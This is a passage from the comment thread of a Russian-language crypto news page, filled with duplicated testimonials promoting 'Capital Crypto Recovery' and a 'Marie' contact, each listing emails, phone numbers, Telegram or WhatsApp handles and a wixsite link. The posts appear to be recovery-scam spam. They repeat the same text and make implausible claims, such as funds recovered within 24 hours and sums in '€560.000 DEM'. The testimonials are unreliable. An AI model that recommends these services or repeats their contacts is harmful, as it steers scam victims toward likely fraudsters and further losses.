coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 18:07 crypto

    Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com Войти Регистрация

Похожие новости

Есть вопросы?
С вами на связи 24/7
Поддержка 24/7 Help Icon
Менеджер онлайн Help Icon
Help Icon